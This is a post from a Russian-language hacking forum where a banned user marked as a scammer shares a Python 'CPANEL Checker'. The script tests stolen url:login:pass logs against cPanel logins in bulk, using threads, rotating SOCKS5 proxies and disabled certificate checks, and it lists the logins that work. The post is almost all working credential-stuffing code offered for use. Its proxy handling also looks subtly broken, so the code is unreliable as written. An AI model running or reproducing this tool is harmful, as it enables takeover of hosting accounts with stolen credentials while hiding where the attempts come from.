• XSS.stack #1 – первый литературный журнал от юзеров форума

CPANEL Checker valid from logs (url:log:pass)

GridsNetwork

ripper
КИДАЛА
Регистрация
30.03.2023
Сообщения
426
Реакции
128
Гарант сделки
2
Пожалуйста, обратите внимание, что пользователь заблокирован
in development open-source

steroid for logs.

Proxy support on socks5 only.


Python:
import requests
from rich.console import Console
import pyfiglet
import urllib3
import random
from rich.table import Table
from rich.progress import Progress
from concurrent.futures import ThreadPoolExecutor

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

console = Console()

def check_cpanel_login(url, username, password, use_proxy, proxy, valid_file, bad_file, error_file):
    session = requests.Session()
    if use_proxy:
        session.proxies = {'https': f'socks5://{proxy}'}
    session.verify = False

    try:
        login_url = f'{url}/frontend/paper_lantern/user_manager/index.html'
        params = {'user': username, 'pass': password}
        response = session.get(login_url, params=params)
        if 'cpsess' in response.url:
            valid_file.write(f"{url}:{username}:{password} - Valid login\n")
            return 'valid'
        else:
            bad_file.write(f"{url}:{username}:{password} - Bad login\n")
            return 'bad'
    except requests.exceptions.RequestException as e:
        error_message = str(e)
        if 'No connection adapters' in error_message: # Handle invalid scheme
            return 'invalid_schema'
        else:
            error_file.write(f"{url}:{username}:{password} - Error: {error_message}\n")
            return 'error'

def process_lines(lines, use_proxy, proxies):
    valid_count = 0
    bad_count = 0
    error_count = 0
    invalid_schema_count = 0
    valid_logins = []

    table = Table(title="VALID CPANEL LOGS", show_header=True)
    table.add_column("URL", justify="center", style="cyan")
    table.add_column("Username", justify="center", style="magenta")
    table.add_column("Password", justify="center", style="green")

    with Progress() as progress:
        task = progress.add_task("Checking valid logs...", total=len(lines))
        
        with open('valid.txt', 'w', encoding='utf-8') as valid_file, \
             open('bad.txt', 'w', encoding='utf-8') as bad_file, \
             open('error.txt', 'w', encoding='utf-8') as error_file:
            
            def check_login(line):
                nonlocal valid_count, bad_count, error_count, invalid_schema_count, valid_logins
                parts = line.strip().rsplit(':', 1)
                if len(parts) != 2:
                    return
                
                url_username, password = parts
                url, username = url_username.rsplit(':', 1)
                
                result = check_cpanel_login(url, username, password, use_proxy, random.choice(proxies) if use_proxy else None, valid_file, bad_file, error_file)
                
                if result == 'valid':
                    valid_count += 1
                    valid_logins.append((url, username, password))
                elif result == 'bad':
                    bad_count += 1
                elif result == 'error':
                    error_count += 1
                elif result == 'invalid_schema':
                    invalid_schema_count += 1
                    
                progress.update(task, advance=1)
            
            with ThreadPoolExecutor(max_workers=20) as executor:
                executor.map(check_login, lines)

        if valid_logins:
            for url, username, password in valid_logins:
                table.add_row(url, username, password)

    return valid_count, bad_count, error_count, invalid_schema_count, table

def main():
    banner = pyfiglet.figlet_format("CPANEL VALID CHECKER - GRIDSNET", font="slant")
    console.print(banner)

    use_proxy = input("Use SOCKS5 proxy? (y/n): ").lower().strip() == 'y'
    proxy = None
    if use_proxy:
        proxy_file = input("Enter proxy file(.txt): ")
        with open(proxy_file, 'r') as proxy_file:
            proxies = proxy_file.readlines()

    lines_file = input("File containing CPANEL Logs(URL:LOG:PASS): ")
    with open(lines_file, 'r', encoding='utf-8') as file:
        lines = file.readlines()

    total_lines = len(lines)
    console.print(f"Using SOCKS5 Proxy: [cyan]{'Yes' if use_proxy else 'No'}[/cyan]")
    if use_proxy:
        console.print(f"Total proxies uploaded: [cyan]{len(proxies)}[/cyan]")
    console.print(f"Total log lines for checking: [cyan]{total_lines}[/cyan]\n")

    valid_count, bad_count, error_count, invalid_schema_count, valid_table = process_lines(lines, use_proxy, proxies[random.randint(0, len(proxies) - 1)] if use_proxy else None)

    console.print(f"\nValid: [green]{valid_count}[/green]")
    console.print(f"Bad: [red]{bad_count}[/red]")
    console.print(f"Error: [yellow]{error_count}[/yellow]")
    console.print(f"Invalid Schema: [yellow]{invalid_schema_count}[/yellow]")

    # Display a table of valid logins if any are found
    if valid_table.row_count > 0:
        console.print("\nValid Logins - Centered", justify="center")
        console.print(valid_table)

if __name__ == "__main__":
    main()
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх